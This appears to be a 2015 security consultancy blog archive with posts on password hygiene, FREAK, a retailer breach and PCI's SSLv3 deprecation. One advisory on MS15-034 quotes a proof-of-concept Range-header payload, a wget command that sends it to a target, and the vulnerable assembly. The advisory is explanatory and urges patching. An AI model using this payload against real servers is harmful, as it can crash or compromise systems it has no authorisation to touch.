Shall we play a game?

Posted: 27 April 2015 in Uncategorized

Wargames

There was a time when a layman’s only exposure to the concept of hacking was in films. Which, more often than not, was through a stereotype geek, clattering feverishly on a green-screen terminal, working to break into a military computer.

How things have changed though. Today, almost everything that goes wrong with a computer is automatically attributed to a hacker. Forgot to hibernate your laptop, so lost all your open documents? Clearly a hacker. Can’t get to Google News? Yup, hackers again. You get the picture.

Although I am being flippant, hacking really is no longer a media phenomenon, but is instead encountered by the typical layman several times a day. Malware circulates endlessly in emails and through social media sites. The users of popular sites are frequently requested to change their passwords because the servers have been compromised.

Hacking is now big-business and ubiquitous.


Written by
Martin-frame
Martin O’Neal
Managing Director
Corsaire

One very common mistake that people make is reusing passwords. Whether it be at home or in the office, password reuse is a rampant disease in our society. I will even admit to being guilty of this in the past (shock horror!!). My advice to you now though is DON’T. Just don’t do this! It’s such a small and easy aspect to correct, which could really bolster your personal information security.

But why? One might assume if they have a great password that it should be great for every site they visit. Right? Nope, sorry, dead on wrong! If one website is compromised (even if it’s just a small inconsequential site with no personal information, which I can almost guarantee you will be holding itself at a lower standard for security for that reason) which had authentication, and you used your one and only password, it now means that all of your information could be compromised. Hackers will take the credentials gained from that one easy hack, and try it across multiple popular sites to take your data.

Password Strength

Also for an extra security boost, forget the password and start thinking in terms of a passphrase. A traditional 8 character password with The Works (numbers, letters, and special characters) would take a PC less than a minute to defeat. A passphrase however would take much longer. For example this 29 character phrase “mylittlebrothersmellslikepoop” would take a PC over 1 million years to defeat. And that’s with all lowercase letters! Throw in some capitals, numbers, and special characters into that baby and you’ve got yourself a real winner. (http://passwordstrengthcalculator.org/index.php)

There are even a number of commonly used websites out there (Read: Facebook, Google, Twitter) that offer two-factor authentication. Two-factor authentication means that even if your password is compromised, a malicious user still won’t have access to your account without the authenticator, which could range from an application on your phone to a separate dedicated device. Chances are systems like your online banking have two-factor authentication as a requirement instead of an option (hint: because it’s important!). So when the option is there, take it. Take it, and ride your security safety net all the way to “suck it, hackers, my data is SAFE” land.


Written by
Panda-frame

Amanda McKinney
Project Coordinator
Corsaire Ltd.

It’s been a few weeks, maybe even a month since we’ve had to write one of these, but lo and behold yesterday was another patch Tuesday, and amongst a large selection of critically rated vulnerabilities we have another tale of woe.

For the attentive observer, yesterday’s patches brought an interesting development in the form of CVE-2015-1653 / MS15-034. According to the details released by Microsoft in their security bulletin [1] a remote code execution vulnerability is present within the HTTP Stack on windows operating systems.

As far as we are aware at this time this should only effect Microsoft Internet Information Systems (IIS) webserver, however anything that uses the HTTP Protocol Stack within Windows is potentially affected.

A very simple proof of concept (PoC) for this vulnerability is available [2] (PoC is in its infancy, expect mixed results) and appears that the HTTP Range header is the vulnerable field in this case.

By dissecting the PoC we can see that an invalid hex string is submitted in the range header:

hexAllFfff = "18446744073709551615"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

Which then fails to evaluate correctly when passed into HTTP!RtlULongLongAdd resulting in the vulnerability:

8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here

Corsaire performed a test of this PoC on a fresh install of Windows Server 2012 Environment with IIS 8.5 and the simple vulnerable output was received:

>python test.py
[*]Audit Started
[!!]Looks VULN

It is of course possible to perform this attack via commandline options rather than the PoC we have here, for example the following wget string:

wget --header="Range: bytes=18-18446744073709551615" http://10.10.10.12/iis-85.png

Resulting in this:

code

Affected versions of the Windows operating system are as follows:

– Microsoft Windows 7 for 32-bit Systems SP1
– Microsoft Windows 7 for x64-based Systems SP1
– Microsoft Windows 8 for 32-bit Systems
– Microsoft Windows 8 for x64-based Systems
– Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
– Microsoft Windows Server 2008 R2 for x64-based Systems SP1
– Microsoft Windows Server 2012
– Microsoft Windows Server 2012 R2

Failed exploits against this vulnerability could likely lead to Denial of Service conditions against the target, however this is unconfirmed at present.

What you should do

We recommend that any environment that is running the above versions of windows is patched as soon as possible. A possible mitigation workaround can be achieved by disabling IIS Kernel Caching. [3]

[1] https://technet.microsoft.com/en-us/library/security/ms15-034.aspx
[2] http://pastebin.com/ypURDPc4 – Thanks to /u/billbillthebillbill on Reddit’s netsec community for this
[3] https://technet.microsoft.com/en-us/library/cc731903%28v=ws.10%29.aspx


Written by
Emma McCall
Security Consultant
Corsaire

Happy 18th Birthday!

Posted: 1 April 2015 in Corsaire News

yayomg-bear-wearing-party-hat

Like many others, when I meet a niece or nephew that I haven’t seen for a while, I am overly shocked by how they have grown in the intervening time (“my god, you have a moustache!”). In just the same way, it seems utterly amazing to me that Corsaire will be celebrating its coming-of-age, 18th birthday in April 2015. It seems like only yesterday that I was registering the domain name and signing the paperwork that marked the start of the company!

Since that time, the information security market has changed immensely too. There was a time we would allow ourselves an introspective giggle when talking to a prospective client and they would reply confidently, “Security? Yes, we have antivirus on our servers!”

Nowadays that kind of ignorance is thankfully long gone. Instead security has become a hot topic, discussed endlessly in the media. Even my dear old Dad sends me clippings, from various news feeds, on security related issues. Thanks Dad!

The industry has also recently inherited a new moniker, in the guise of the generic term “cyber”, which is now applied liberally to everything vaguely security related, much as “cloud” was for co-location. Like it or loathe it, it seems to be here to stay.

It's our birthday!Anyway, before I ramble on and get too teary, I just wanted to say a big thank you to all the clients and colleagues who have made these first 18 years such a huge amount of fun. I appreciate you more than I can articulate in mere words.

So, as a token of our appreciation, we are offering a Birthday discount, on our services, to allow you to join in the celebrations.


Written by
Martin-frame
Martin O’Neal
Managing Director
Corsaire

Old-Crate-241-Design-psd4933UPDATE 06/03/2015 – Microsoft have released a statement that their Secure Channel (Schannel) SSL implementation is vulnerable to the FREAK attack across all implementation of Microsoft Windows. You can find details on the Microsoft advisory here: https://technet.microsoft.com/en-us/library/security/3046015

It’s been less than two weeks since we were here last, telling tales of woe about SSL Man-in-the-Middle attacks that leaves all your data open for malicious users to view, and lookie, here we are again.

Let me set the scene for you; it’s the 1990s, and crypto for the masses is on the rise; not least of which is PGP for your emails and Netscape Corporation conjuring up SSL, as a means of encrypting data for secure communication.

The US government, now unable to read everyone’s shopping list, decrees that strong encryption is a munition, and any encryption systems exported from the US must utilise deliberately weakened encryption keys [1]. In the case of RSA encryption, this specified that the key length must not exceed 512 bits.

Yup that’s right, these were specifically engineered to be breakable. (Cue legions of activists travelling from the US with the PGP source code tattooed on their body parts).

As of course as we are aware, SSL performs a negotiation to allow clients capable of stronger encryption methods to use those over the weaker ones. US clients connected to the servers with strong ciphers – everyone else used the weakened ‘Export’ grade ciphers, and had to put up with the NSA knowing their favourite breakfast cereal.

Roll on the end of the 90s and early 00s, the export restrictions are lifted and ‘secure’ SSL comes to us all (well, mostly all), so surely these weak ciphers are all disabled and removed by software updates into non-existence right?……Sure.

EXPORT Ciphers

So these are old and broken ciphers, and we now have a negotiation process that prefers stronger and secure ciphers, so what’s the issue? Only those who can’t use proper crypto would be victims, right? The masses in the still taboo countries on the restricted list, and a few million corporate users browsing their Internet banking from work on IE6.

So, given that (in theory) no modern clients would ask for export ciphers, and no servers should support them, and cryptanalysis is haaaaard, there shouldn’t be a problem.

So let’s jump into these points, starting maybe a bit unusually with the second point, that the number of servers actually supporting Export grade cipher suites is very small. Details emerging today show that over the IPv4 address space, 26.3% (at time of writing)[2] supported at least one RSA-Export grade Cipher Suite.

The excellent blog article by Matthew Green[3] identifies a number of interesting (worrying) sites supporting EXP ciphers, including notable content providers (presumably to avoid support calls when people couldn’t access their customers’ sites using archaic browsers).

Other notable sites included nsa.gov, tips.fbi.gov and connect.facebook.net. The latter of these is the source of the well-known Facebook ‘like’ button which is on SSL Sites all over the world, MITM that connection and you have injection opportunities almost everywhere… just one example.

Ok so that’s point two sorted, lets backtrack and check out point one again, thanks to the wonderful research done at INRIA, Microsoft Research and IMDEA we know that there is a bug in several modern TLS clients, namely OpenSSL and SecureTransport (Apple)[4]. This bug allows the client to accept a response containing an RSA-Export key, regardless of the RSA grade initially requested. So presuming you can sit between a vulnerable client and a server that will serve an Export-grade cipher, this can be used to effectively downgrade an SSL communication to its lowest level.

The Attack

Suppose you’re in the position to perform a MITM attack, you’ve got a vulnerable client and a server that will support RSA-Export, what is the workflow here, how does the attack work?

Well here’s how Matthew Green describes it, in excellent terms:

  1. In the client’s Hello message, it asks for a standard ‘RSA’ ciphersuite.
  2. The MITM attacker changes this message to ask for ‘export RSA’.
  3. The server responds with a 512-bit export RSA key, signed with its long-term key.
  4. The client accepts this weak key due to the OpenSSL/SecureTransport bug.
  5. The attacker factors the RSA modulus to recover the corresponding RSA decryption key.
  6. When the client encrypts the ‘pre-master secret’ to the server, the attacker can now decrypt it to recover the TLS ‘master secret’.
  7. From here on out, the attacker sees plaintext and can inject anything it wants.

Hey it’s not all bad, at least the attacker is going to have to factor the RSA key for every connection which is going to make this one heck of a tedious attack to perform…..

Nope.

Generating an RSA key is a fairly complex process, uses a notable amount of system resources while it’s being done, so what do the majority of web servers do to counter this problem? Well they just generate one, and re-use it. See the problem?

Break it once and you’re golden until the server goes down and a new key is generated.

Ok… Now what?

OpenSSL has very quietly released a patch in the latest version that corrects this. Apple is ‘working on it’ and the big CDNs such as Akamai are rolling out patches to remove the Export grade ciphers. Facebooks are gone, who knows what the NSA and FBI are doing.

The conclusions for this are fairly straightforward, upgrade your clients where possible, patch your servers, and purge RSA-Export from the internet.

And you Mr G-Man lurking in the corner, learn from your mistakes, stop trying to build backdoors into encryption before it bites you (and us) in the ass……again.

[1] https://en.wikipedia.org/wiki/Export_of_cryptography_from_the_United_States
[2] https://freakattack.com/
[3] http://blog.cryptographyengineering.com/2015/03/attack-of-week-freak-or-factoring-nsa.html
[4] https://www.smacktls.com/


Written by
Emma McCall
Security Consultant
Corsaire

limecrime

You may have heard of some of the big name hacks that happened this past year, SingleHop has posted a great blog article highlighting some of the industries and companies that were affected [1]. But you may not have heard about some of the smaller companies that were breached, because let’s not forget that no company is too small to be a target for a black hat. In fact – smaller companies with weaker security policies, and potentially no security process, may even be a better target for hackers who are looking for a quick and easy target.

A great example of this is popular independent makeup company Lime Crime [2]. This month they announced their website had been compromised, however the breach took place as early as October 2014. This has resulted in their customers not only having their usernames and passwords compromised, but those who opted to pay for their purchases directly through Lime Crime’s website, and not Pay Pal, also had their card details stolen. They are now the victims of credit card fraud.

Thanks to sites like Reddit [3], you can easily see the effect that this breach has had on the company and the backlash they’ve received from the indie, and even the mainstream, makeup community. People who loved their products no longer feel secure purchasing from the company and those people who would be clients are now advising other potential buyers of “dupes” (duplicates) for beloved Lime Crime products.

Despite the tragedy that the hack was, there is a lesson that can be learnt here. Never forget that no company is too small or insignificant to be the target of cyber crime.

Small business owners: Are you keeping your customers data safe?
[1] https://www.singlehop.com/blog/5-industries-devastated-by-data-breaches-in-2014/
[2] http://limecrime.com/security
[3] http://www.reddit.com/r/MakeupAddiction/comments/2w0g44/lime_crime_deletes_ig_photo_after_being/


Written by
Panda-frame

Amanda McKinney
Project Coordinator
Corsaire

Credit Card SecurityOwing to the BEAST and POODLE attacks, the case for using SSLv3 hasn’t looked good in a while, and if you’re in the Payment Card Industry (PCI), the case is looking bleaker still. The PCI Security Standards Council has released its impending revisions to the Data Security Standards (DSS) of the PCI and payment applications (PA) in [1], in which they have determined SSLv3 is no longer an acceptable way to safeguard data. This means that no version of SSL is cryptographically “strong” according to PCI DSS due to inherent weaknesses in the protocol.

New versions (v3.1) of PCI DSS and PA-DSS will soon be published to tackle this subject, which will be effective immediately, and will hopefully address currently-listed applications, as well as future ones. As of now, there’s no way to resolve the weaknesses in the SSL protocol, but advice is out there, even from us here

[1] https://www.pcisecuritystandards.org/pdfs/15_02_12_PCI_SSC_Bulletin_on_DSS_revisions_SSL_update.pdf


Written by
Rowena-frame
Rowena Harrison
Security Consultant
Corsaire